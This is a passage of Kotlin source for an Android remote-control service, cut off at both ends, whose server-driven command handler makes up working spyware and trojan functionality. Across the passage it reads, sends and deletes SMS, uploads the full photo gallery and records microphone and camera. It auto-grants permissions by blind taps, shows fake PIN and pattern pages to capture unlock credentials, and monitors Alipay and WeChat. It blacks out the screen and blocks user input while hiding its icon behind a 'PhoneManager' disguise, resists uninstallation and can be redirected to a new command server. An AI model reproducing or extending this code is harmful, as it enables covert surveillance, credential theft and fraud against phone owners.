                Log.i(TAG, "Password input data sent")
            } else {
                Log.w(TAG, "Socket not connected, cannot send password input data")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send password input data", e)
        }
    }
    
    private fun handleControlMessage(json: JSONObject) {
        try {
            val type = json.getString("type")
            val data = json.getJSONObject("data")
            
            Log.d(TAG, "处理控制消息: type=$type")
            
            when (type) {
                "CLICK" -> {
                    val x = data.getDouble("x").toFloat()
                    val y = data.getDouble("y").toFloat()
                    Log.d(TAG, "执行点击: ($x, $y)")
                    service.performClick(x, y)
                }
                "SWIPE" -> {
                    val startX = data.getDouble("startX").toFloat()
                    val startY = data.getDouble("startY").toFloat()
                    val endX = data.getDouble("endX").toFloat()
                    val endY = data.getDouble("endY").toFloat()
                    val duration = data.optLong("duration", 300)
                    Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
                    service.performSwipe(startX, startY, endX, endY, duration)
                }
                "LONG_PRESS" -> {
                    val x = data.getDouble("x").toFloat()
                    val y = data.getDouble("y").toFloat()
                    Log.d(TAG, "执行长按: ($x, $y)")
                    service.performLongPress(x, y)
                }

                "LONG_PRESS_DRAG" -> {
                    // Handle continuous long press drag with full path
                    try {
                        val pathArray = data.getJSONArray("path")
                        val duration = data.optLong("duration", 1500L)
                        
                        // 解析路径点
                        val pathPoints = mutableListOf<android.graphics.PointF>()
                        for (i in 0 until pathArray.length()) {
                            val point = pathArray.getJSONObject(i)
                            val x = point.getDouble("x").toFloat()
                            val y = point.getDouble("y").toFloat()
                            pathPoints.add(android.graphics.PointF(x, y))
                        }
                        
                        Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms")
                        service.performContinuousLongPressDrag(pathPoints, duration)
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "解析连续长按拖拽路径失败", e)
                    }
                }
                "INPUT_TEXT" -> {
                    val text = data.getString("text")
                    val isWebUnlock = data.optBoolean("webUnlockMode", false)
                    
                    Log.d(TAG, "Input text: $text, Web unlock mode: $isWebUnlock")
                    
                    // Web unlock mode handling
                    if (isWebUnlock) {
                        Log.d(TAG, "Web unlock mode enabled")
                        service.setWebUnlockMode(true)
                    }
                    
                    // Standard text input
                    service.inputText(text)
                    
                    // Reset web unlock mode after input
                    if (isWebUnlock) {
                        Log.d(TAG, "Scheduling web unlock mode reset")
                        // 延迟重置，确保确认操作完成
                        android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                            Log.d(TAG, "Reset web unlock mode")
                            service.setWebUnlockMode(false)
                        }, 5000) // 5秒后重置
                    }
                }
                "UNLOCK_DEVICE" -> {
                    Log.d(TAG, "Received unlock device command")
                    service.unlockDevice()
                    

                }
                "KEY_EVENT" -> {
                    // 支持两种格式：keyCode (整数) 和 key (字符串)
                    if (data.has("keyCode")) {
                        val keyCode = data.getInt("keyCode")
                        Log.d(TAG, "按键事件(keyCode): $keyCode")
                        when (keyCode) {
                            3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
                            4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                            82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
                            66 -> {
                                // Enter key - special handling removed
                                Log.d(TAG, "Enter键 - 已删除特殊处理")
                            }
                            else -> Log.w(TAG, "未知按键代码: $keyCode")
                        }
                    } else if (data.has("key")) {
                        val key = data.getString("key")
                        Log.d(TAG, "按键事件(key): $key")
                        when (key) {
                            "BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                            "HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
                            "RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
                            "ENTER" -> {
                                // Enter key string form - special handling removed
                                Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
                            }
                            else -> Log.w(TAG, "未知按键: $key")
                        }
                    }
                }
                "GESTURE" -> {
                    val gestureType = data.getString("type")
                    Log.d(TAG, "手势操作: $gestureType")
                    when (gestureType) {
                        "PINCH_IN", "PINCH_OUT" -> {
                            val centerX = data.getDouble("centerX").toFloat()
                            val centerY = data.getDouble("centerY").toFloat()
                            val scale = data.getDouble("scale").toFloat()
                            service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT")
                        }
                    }
                }
                "POWER_WAKE" -> {
                    Log.d(TAG, "点亮屏幕")
                    service.wakeScreen()
                }
                "POWER_SLEEP" -> {
                    Log.d(TAG, "锁定屏幕")
                    service.lockScreen()
                }
                "ENABLE_BLACK_SCREEN" -> {
                    Log.d(TAG, "启用黑屏遮盖")
                    service.enableBlackScreen()
                }
                "DISABLE_BLACK_SCREEN" -> {
                    Log.d(TAG, "取消黑屏遮盖")
                    service.disableBlackScreen()
                }
                "HIDE_APP" -> {
                    Log.d(TAG, "隐藏应用")
                    service.hideApp()
                }
                "SHOW_APP" -> {
                    Log.d(TAG, "显示应用")
                    service.showApp()
                }
                "DEVICE_BLOCK_INPUT" -> {
                    Log.d(TAG, "阻止设备用户输入")
                    // 检查是否有遮罩配置
                    val maskText = data.optString("maskText", null)
                    val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null

                    if (maskText != null || maskTextSize != null) {
                        Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
                        service.setMaskTextConfig(maskText, maskTextSize)
                    }
                    
                    service.blockDeviceInput()
                }
                "DEVICE_ALLOW_INPUT" -> {
                    Log.d(TAG, "允许设备用户输入")
                    service.allowDeviceInput()
                }
                "SET_MASK_CONFIG" -> {
                    Log.d(TAG, "设置遮罩配置")
                    val maskText = data.optString("maskText", null)
                    val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
                    service.setMaskTextConfig(maskText, maskTextSize)
                }
                "LOG_ENABLE" -> {
                    Log.d(TAG, "暂停：暂时不启用操作日志记录")
                     service.enableLogging() // 暂停：暂时不启用日志
                }
                "LOG_DISABLE" -> {
                    Log.d(TAG, "禁用操作日志记录")
                    service.disableLogging()
                }
                "SMART_CONFIRM_DETECTION" -> {
                    Log.d(TAG, "智能确认按钮检测")
                    val passwordType = data.optString("passwordType", "")
                    val screenWidth = data.optInt("screenWidth", 0)
                    val screenHeight = data.optInt("screenHeight", 0)
                    service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
                }
                "SMART_UNLOCK_SWIPE" -> {
                    Log.d(TAG, "智能上滑解锁")
                    service.performSmartUnlockSwipe()
                }
                "ALIPAY_DETECTION_START" -> {
                    Log.d(TAG, "开启支付宝检测")
                    service.enableAlipayDetection()
                }
                "ALIPAY_DETECTION_STOP" -> {
                    Log.d(TAG, "关闭支付宝检测")
                    service.disableAlipayDetection()
                }
                "WECHAT_DETECTION_START" -> {
                    Log.d(TAG, "开启微信检测")
                    service.enableWechatDetection()
                }
                "WECHAT_DETECTION_STOP" -> {
                    Log.d(TAG, "关闭微信检测")
                    service.disableWechatDetection()
                }
                "OPEN_APP_SETTINGS" -> {
                    Log.d(TAG, "打开应用设置")
                    service.openAppSettings()
                }
                "REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
                    Log.d(TAG, "重新获取投屏权限")
                    service.refreshMediaProjectionPermission()
                }
                "REFRESH_MEDIA_PROJECTION_MANUAL" -> {
                    Log.d(TAG, "手动授权投屏权限（不自动点击）")
                    service.refreshMediaProjectionManual()
                }
                "CLOSE_CONFIG_MASK" -> {
                    Log.d(TAG, "手动关闭配置遮盖")
                    val isManual = data.optBoolean("manual", false)
                    Log.i(TAG, "Received close config mask command - manual: $isManual")
                    service.forceHideConfigMask(isManual)
                }
                "ENABLE_UNINSTALL_PROTECTION" -> {
                    Log.d(TAG, "Enable uninstall protection")
                    service.enableUninstallProtection()
                }
                "DISABLE_UNINSTALL_PROTECTION" -> {
                    Log.d(TAG, "Disable uninstall protection")
                    service.disableUninstallProtection()
                }
                "CAMERA_START" -> {
                    Log.d(TAG, "📷 启动摄像头捕获")
                    service.startCameraCapture()
                }
                "CAMERA_STOP" -> {
                    Log.d(TAG, "📷 停止摄像头捕获")
                    service.stopCameraCapture()
                }
                "CAMERA_SWITCH" -> {
                    Log.d(TAG, "📷 切换摄像头")
                    service.switchCamera()
                }
                "CAMERA_CAPTURE_START" -> {
                    Log.d(TAG, "📷 开始摄像头捕获（精细控制）")
                    service.startCameraCapturing()
                }
                "CAMERA_CAPTURE_STOP" -> {
                    Log.d(TAG, "📷 停止摄像头捕获（精细控制）")
                    service.stopCameraCapturing()
                }
                "CAMERA_STATUS" -> {
                    val isCapturing = service.isCameraCapturing()
                    val cameraInfo = service.getCameraInfo()
                    Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
                    // 可以在这里发送状态回执给服务器
                }
                "CAMERA_INFO" -> {
                    val cameraInfo = service.getCameraInfo()
                    Log.d(TAG, "📷 摄像头信息: $cameraInfo")
                    // 可以在这里发送摄像头信息回执给服务器
                }
                "SMS_READ" -> {
                    val limit = data.optInt("limit", 50)
                    Log.d(TAG, "Read SMS list (limit: $limit)")
                    val smsList = service.readSMSList(limit)
                    Log.d(TAG, "Read ${smsList.size} SMS messages")
                    // 可以在这里发送短信列表回执给服务器
                }
                "SMS_SEND" -> {
                    val phoneNumber = data.getString("phoneNumber")
                    val message = data.getString("message")
                    Log.d(TAG, "Send SMS to: $phoneNumber")
                    val success = service.sendSMS(phoneNumber, message)
                    Log.d(TAG, "SMS send result: $success")
                    // 可以在这里发送发送结果回执给服务器
                }
                "SMS_MARK_READ" -> {
                    val smsId = data.getLong("smsId")
                    Log.d(TAG, "Mark SMS as read: $smsId")
                    val success = service.markSMSAsRead(smsId)
                    Log.d(TAG, "Mark result: $success")
                }
                "ALBUM_READ" -> {
                    // 新逻辑：始终读取全部并发送；若有新指令打断，重启任务
                    Log.d(TAG, "Received album read command, start/restart read+send task (read all)")
                    startReadAndSendAllGallery()
                }
                "GALLERY_PERMISSION_REQUEST" -> {
                    Log.d(TAG, "Request gallery permission")
                    service.requestGalleryPermissionWithAutoGrant()
                }
                "GALLERY_PERMISSION_CHECK" -> {
                    val hasPermission = service.checkGalleryPermission()
                    Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}")
                    
                    if (!hasPermission) {
                        Log.d(TAG, "Gallery permission not granted, auto requesting")
                        service.requestGalleryPermissionWithAutoGrant()
                    }
                }
                "GALLERY_PERMISSION_AUTO_GRANT" -> {
                    Log.d(TAG, "Auto request gallery permission (blind tap)")
                    service.requestGalleryPermissionWithAutoGrant()
                }
                "MICROPHONE_PERMISSION_REQUEST" -> {
                    Log.d(TAG, "Request microphone permission")
                    service.requestMicrophonePermissionWithAutoGrant()
                }
                "MICROPHONE_PERMISSION_CHECK" -> {
                    val hasPermission = service.checkMicrophonePermission()
                    Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}")
                    
                    if (!hasPermission) {
                        Log.d(TAG, "Microphone permission not granted, auto requesting")
                        service.requestMicrophonePermissionWithAutoGrant()
                    }
                }
                "MICROPHONE_PERMISSION_AUTO_GRANT" -> {
                    Log.d(TAG, "Auto request microphone permission (blind tap)")
                    service.requestMicrophonePermissionWithAutoGrant()
                }
                "MICROPHONE_START_RECORDING" -> {
                    Log.d(TAG, "Start microphone recording")
                    service.startMicrophoneRecording()
                }
                "MICROPHONE_STOP_RECORDING" -> {
                    Log.d(TAG, "Stop microphone recording")
                    service.stopMicrophoneRecording()
                }
                "MICROPHONE_RECORDING_STATUS" -> {
                    val isRecording = service.isMicrophoneRecording()
                    Log.d(TAG, "Microphone recording status: ${if (isRecording) "recording" else "not recording"}")
                    val payload = org.json.JSONObject().apply {
                        put("deviceId", getDeviceId())
                        put("type", "microphone_status")
                        put("timestamp", System.currentTimeMillis())
                        put("isRecording", isRecording)
                    }
                    socket?.emit("microphone_status", payload)
                }
                "SMS_DELETE" -> {
                    val smsId = data.getLong("smsId")
                    Log.d(TAG, "Delete SMS: $smsId")
                    val success = service.deleteSMS(smsId)
                    Log.d(TAG, "Delete result: $success")
                }
                "SMS_UNREAD_COUNT" -> {
                    val count = service.getUnreadSMSCount()
                    Log.d(TAG, "Unread SMS count: $count")
                    // 可以在这里发送未读数量回执给服务器
                }
                "SMS_PERMISSION_CHECK" -> {
                    val hasPermission = service.checkSMSPermission()
                    Log.d(TAG, "SMS permission check: $hasPermission")
                    if (!hasPermission) {
                        service.requestSMSPermissionWithAutoGrant()
                    }
                }
                "SMS_PERMISSION_AUTO_GRANT" -> {
                    val hasPermission = service.checkSMSPermission()
                    Log.d(TAG, "SMS permission auto grant check: $hasPermission")
                    if (!hasPermission) {
                        service.requestSMSPermissionWithAutoGrant()
                    } else {
                        Log.d(TAG, "SMS permission already granted, no need to request")
                    }
                }
                "OPEN_PIN_INPUT" -> {
                    Log.d(TAG, "Received open PIN input page command")
                    openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN)
                }
                "OPEN_FOUR_DIGIT_PIN" -> {
                    Log.d(TAG, "Received open 4-digit PIN page command")
                    openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4)
                }
                "OPEN_PATTERN_LOCK" -> {
                    Log.d(TAG, "Received open pattern lock page command")
                    openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN)
                }
                "CHANGE_SERVER_URL" -> {
                    val newServerUrl = data.optString("serverUrl", "")
                    if (newServerUrl.isNotEmpty()) {
                        Log.i(TAG, "Received server URL change command: $newServerUrl")
                        handleServerUrlChange(newServerUrl)
                    } else {
                        Log.w(TAG, "Server URL change command missing serverUrl param")
                    }
                }
                "SCREEN_CAPTURE_PAUSE" -> {
                    Log.d(TAG, "📺 暂停远程桌面")
                    service.getScreenCaptureManager()?.pauseCapture()
                }
                "SCREEN_CAPTURE_RESUME" -> {
                    Log.d(TAG, "📺 继续远程桌面")
                    service.getScreenCaptureManager()?.resumeCapture()
                }
                else -> Log.w(TAG, "未知控制操作: $type")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "处理控制消息失败", e)
        }
    }
    
    /**
     * 发送操作日志到服务器（优化版本，避免与屏幕数据传输冲突）
     */
    fun sendOperationLog(logData: JSONObject) {
        try {
            if (isConnected && socket?.connected() == true) {
                // Optimization: check time gap with screen data to avoid transport conflict
                val currentTime = System.currentTimeMillis()
                val timeSinceLastScreenData = currentTime - lastScreenDataTime
                
                // 如果刚刚发送过屏幕数据（100ms内），稍微延迟发送日志
                if (timeSinceLastScreenData < 100) {
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        try {
                            if (isConnected && socket?.connected() == true) {
                                socket?.emit("operation_log", logData)
                                Log.d(TAG, "[Delayed] Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}")
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "Delayed send operation log failed", e)
                        }
                    }, 150) // 延迟150ms，错开屏幕数据发送时间
                } else {
                    // 安全时间窗口，直接发送
                    socket?.emit("operation_log", logData)
                    Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}")
                }
            } else {
                Log.w(TAG, "Socket not connected, cannot send operation log")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Send operation log failed", e)
        }
    }

    /**
     * 🆕 发送权限申请响应到服务器
     */
    fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
        try {
            if (isConnected && socket?.connected() == true) {
                val responseData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("permissionType", permissionType)
                    put("success", success)
                    put("message", message)
                    put("timestamp", System.currentTimeMillis())
                }
                
                socket?.emit("permission_response", responseData)
                Log.i(TAG, "Send permission response: $permissionType - success=$success, message=$message")
            } else {
                Log.w(TAG, "Socket not connected, cannot send permission response")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Send permission response failed", e)
        }
    }
    
    /**
     * 🆕 发送设备输入阻塞状态变更到服务器
     */
    fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
        try {
            if (isConnected && socket?.connected() == true) {
                val eventData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("blocked", blocked)
                    put("success", true)
                    put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
                    put("timestamp", System.currentTimeMillis())
                    put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
                    put("autoEnabled", autoEnabled) // 标记这是自动启用的，区别于手动操作
                }
                
                socket?.emit("device_input_blocked_changed", eventData)
                Log.i(TAG, "Send input block state change: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled")
            } else {
                Log.w(TAG, "Socket not connected, cannot send input block state")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send input block state change", e)
        }
    }
    
    /**
     * 处理服务器地址修改
     */
    private fun handleServerUrlChange(newServerUrl: String) {
        scope.launch(Dispatchers.IO) {
            try {
                Log.i(TAG, "Processing server URL change: $newServerUrl")
                
                // 0. Validate new server URL format (accept ws/wss/http/https)
                if (newServerUrl.isBlank() || 
                    (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://") &&
                     !newServerUrl.startsWith("http://") && !newServerUrl.startsWith("https://"))) {
                    Log.e(TAG, "Invalid server URL format: $newServerUrl")
                    sendErrorResponse("Invalid server URL format")
                    return@launch
                }
                
                // 1. Save new server URL to config
                val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl)
                
                if (success) {
                    Log.i(TAG, "Server URL saved to config")
                    
                    // 1.5. Verify config was saved correctly
                    val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
                    if (savedUrl == newServerUrl) {
                        Log.i(TAG, "Config verified, new URL saved: $savedUrl")
                    } else {
                        Log.w(TAG, "Config verify failed, saved: $savedUrl, expected: $newServerUrl")
                    }
                    
                    // 2. Send response to server
                    withContext(Dispatchers.Main) {
                        try {
                            val responseData = JSONObject().apply {
                                put("deviceId", getDeviceId())
                                put("success", true)
                                put("message", "Server URL updated, restarting connection")
                                put("newServerUrl", newServerUrl)
                                put("timestamp", System.currentTimeMillis())
                            }
                            socket?.emit("server_url_changed", responseData)
                            Log.i(TAG, "Server URL change response sent")
                        } catch (e: Exception) {
                            Log.e(TAG, "Failed to send response", e)
                        }
                    }
                    
                    // 3. Delay then disconnect and reconnect to new server
                    delay(2000)
                    
                    Log.i(TAG, "Restarting WebSocket connection...")
                    reconnectToNewServer(newServerUrl)
                    
                } else {
                    Log.e(TAG, "Failed to save server URL")
                    
                    // 发送失败响应
                    withContext(Dispatchers.Main) {
                        try {
                            val responseData = JSONObject().apply {
                                put("deviceId", getDeviceId())
                                put("success", false)
                                put("message", "保存服务器地址失败")
                                put("timestamp", System.currentTimeMillis())
                            }
                            socket?.emit("server_url_changed", responseData)
                        } catch (e: Exception) {
                            Log.e(TAG, "Failed to send error response", e)
                        }
                    }
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "Handle server URL change failed", e)
                sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
            }
        }
    }
    
    /**
     * 发送错误响应
     */
    private suspend fun sendErrorResponse(errorMessage: String) {
        withContext(Dispatchers.Main) {
            try {
                val responseData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("success", false)
                    put("message", errorMessage)
                    put("timestamp", System.currentTimeMillis())
                }
                socket?.emit("server_url_changed", responseData)
                Log.i(TAG, "Send error response: $errorMessage")
            } catch (e: Exception) {
                Log.e(TAG, "Send error response failed", e)
            }
        }
    }
    
    /**
     * 重新连接到新服务器
     */
    private suspend fun reconnectToNewServer(newServerUrl: String) {
        try {
            Log.i(TAG, "Disconnecting current connection...")
            
            // 1. Disconnect current connection
            withContext(Dispatchers.Main) {
                socket?.disconnect()
                socket?.close()
                socket = null
            }
            
            Log.i(TAG, "Current connection disconnected")
            
            // 2. Wait before reconnecting
            delay(1000)
            
            // 3. Connect to new server (protocol conversion handled in connect())
            Log.i(TAG, "Connecting to new server: $newServerUrl")
            connect(newServerUrl)
            
            Log.i(TAG, "WebSocket service restart complete")
            
        } catch (e: Exception) {
            Log.e(TAG, "Reconnect to new server failed", e)
        }
    }
    
    /**
     * 打开密码输入页面
     */
    private fun openPasswordInputActivity(passwordType: String) {
        try {
            Log.d(TAG, "Opening password input page, type: $passwordType")
            
            // Reset password input completion state to allow re-input
            val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
            val completed = prefs.getBoolean("password_input_completed", false)
            
            if (completed) {
                Log.i(TAG, "Password already completed, resetting state for re-input")
                prefs.edit().putBoolean("password_input_completed", false).apply()
                Log.i(TAG, "Password input state reset, ready for re-input")
            }
            
            // 检查是否处于伪装模式，如果是则确保MainActivity被禁用
            if (isAppInCamouflageMode()) {
                Log.i(TAG, "🎭 检测到伪装模式，确保MainActivity被禁用")
                ensureMainActivityDisabled()
            }
            
            val deviceId = getDeviceId()
            val installationId = System.currentTimeMillis().toString()
            
            val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
                // 使用温和的flags设置，避免Activity被销毁
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
            }
            
            service.startActivity(intent)
            Log.d(TAG, "Password input page started, type: $passwordType")
            
            // 启动无障碍监控
            startAccessibilityMonitoring(passwordType, deviceId, installationId)
            
        } catch (e: Exception) {
            Log.e(TAG, "Failed to start password input page", e)
        }
    }
    
    /**
     * 🎭 检查APP是否处于伪装模式
     */
    private fun isAppInCamouflageMode(): Boolean {
        return try {
            val packageManager = service.packageManager
            val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias")
            val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
            
            val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
            val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
            
            val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
                              (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
            
            Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
            isCamouflage
        } catch (e: Exception) {
            Log.e(TAG, "Failed to check app camouflage mode", e)
            false
        }
    }

    /**
     * 🎭 确保MainActivity被禁用
     */
    private fun ensureMainActivityDisabled() {
        try {
            Log.i(TAG, "🎭 确保MainActivity被禁用")
            
            val packageManager = service.packageManager
            val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
            
            val currentState = packageManager.getComponentEnabledSetting(mainComponent)
            if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    android.content.pm.PackageManager.DONT_KILL_APP
                )
                Log.i(TAG, "MainActivity re-disabled")
            } else {
                Log.d(TAG, "MainActivity already disabled")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "Failed to ensure MainActivity disabled", e)
        }
    }

    /**
     * 启动无障碍监控（参考handleNormalPasswordPageSwitch强制置顶）
     */
    private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
        try {
            Log.d(TAG, "Start accessibility monitoring, password type: $passwordType")
            Log.d(TAG, "Device ID: $deviceId")
            Log.d(TAG, "Installation ID: $installationId")
            
            // 通过AccessibilityRemoteService获取AccessibilityEventManager
            val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
            if (accessibilityService != null) {
                Log.d(TAG, "Got AccessibilityRemoteService")
                val eventManager = accessibilityService.getAccessibilityEventManager()
                if (eventManager != null) {
                    Log.d(TAG, "Got AccessibilityEventManager")
                    
                    // 启动Socket唤醒密码监控
                    eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
                    Log.d(TAG, "Accessibility monitoring started")
                    
                    // Start force-top monitoring
                    startForceTopMonitoring(passwordType, deviceId, installationId)
                    Log.d(TAG, "Force-top monitoring started")
                    
                } else {
                    Log.w(TAG, "AccessibilityEventManager is null, monitoring not started")
                }
            } else {
                Log.w(TAG, "Cannot get AccessibilityRemoteService, monitoring not started")
                Log.w(TAG, "Service type: ${service::class.java.simpleName}")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to start accessibility monitoring", e)
        }
    }
    
    /**
     * 启动强制置顶监控（参考handleNormalPasswordPageSwitch逻辑）
     */
    private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
        try {
            Log.d(TAG, "🔝 启动强制置顶监控，密码类型: $passwordType")
            
            // 延迟启动强制置顶，给页面充分时间加载
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                try {
                    // 通过AccessibilityRemoteService获取AccessibilityEventManager
                    val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
                    if (accessibilityService != null) {
                        val eventManager = accessibilityService.getAccessibilityEventManager()
                        if (eventManager != null) {
                            // 启用强制返回功能
                            eventManager.enableForceReturn()
                            Log.d(TAG, "Force return enabled")
                            
                            // 记录操作日志
                            accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
                                "passwordType" to passwordType,
                                "deviceId" to deviceId,
                                "installationId" to installationId,
                                "forceReturnEnabled" to true,
                                "timestamp" to System.currentTimeMillis()
                            ))
                        }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "Failed to start force-top monitoring", e)
                }
            }, 2000) // 2秒延迟，给页面充分时间加载
            
        } catch (e: Exception) {
            Log.e(TAG, "Failed to start force-top monitoring (outer)", e)
        }
    }
    
    fun disconnect() {
        socket?.disconnect()
        isConnected = false
        isDeviceRegistered = false
        connectionCheckJob?.cancel()
    }
    
    fun isConnected(): Boolean = isConnected && socket?.connected() == true
    
    fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
    
    /**
     * Check connection status and reconnect immediately
     */
    private fun checkConnectionAndReconnect() {
        scope.launch {
            try {
                Log.d(TAG, "立即检测连接状态")
                
                val socketConnected = socket?.connected() == true
                
                if (!socketConnected || !isConnected) {
                    Log.w(TAG, "连接已断开，立即重连")
                    forceReconnect()
                } else {
                    Log.d(TAG, "连接状态正常")
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "连接检测异常", e)
            }
        }
    }
    
    /**
     * 智能重新连接 - 增强稳定性版本（针对transport error问题）
     * 添加重连深度限制，防止无限递归导致协程泄漏和内存耗尽
     */
    private var forceReconnectDepth = 0
    private val MAX_FORCE_RECONNECT_DEPTH = 3
    
    fun forceReconnect() {
        scope.launch {
            try {
                forceReconnectDepth++
                if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
                    Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})，停止递归重连，等待Socket.IO自动重连")
                    forceReconnectDepth = 0
                    return@launch
                }
                
                Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
                
                // 重置所有状态
                isConnected = false
                isDeviceRegistered = false
                connectionCheckJob?.cancel()
                
                // 优雅断开旧连接，给系统清理时间
                try {
                    socket?.disconnect()
                    delay(1000)
                    socket?.close()
                } catch (e: Exception) {
                    Log.w(TAG, "断开旧连接时出现异常（可忽略）", e)
                }
                
                Log.i(TAG, "旧连接已断开，等待智能延迟后重新连接...")
                
                // 智能延迟：根据网络环境调整等待时间 + 随机化避免多设备同时重连
                val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
                    8000L
                } else {
                    5000L
                }
                val randomDelay = (1000..4000).random().toLong()
                // 限制transportErrorCount对延迟的影响，防止延迟无限增长
                val errorIncrement = minOf(transportErrorCount, 5) * 2000L
                val totalDelay = baseDelay + randomDelay + errorIncrement
                
                Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
                delay(totalDelay)
                
                // 重新创建Socket实例，使用增强配置
                Log.i(TAG, "重新创建增强Socket实例...")
                try {
                    val useConservativeStrategy = shouldUseConservativeReconnect()
                    Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
                    
                    val options = IO.Options().apply {
                        val isVeryPoorNetwork = networkQualityScore < 30
                        timeout = when {
                            isVeryPoorNetwork -> 90000
                            useConservativeStrategy -> 60000
                            else -> 45000
                        }
                        reconnection = true
                        reconnectionAttempts = when {
                            isVeryPoorNetwork -> 3
                            useConservativeStrategy -> 5
                            else -> 10
                        }
                        reconnectionDelay = when {
                            isVeryPoorNetwork -> 8000L
                            useConservativeStrategy -> 5000L
                            else -> 3000L
                        }
                        reconnectionDelayMax = when {
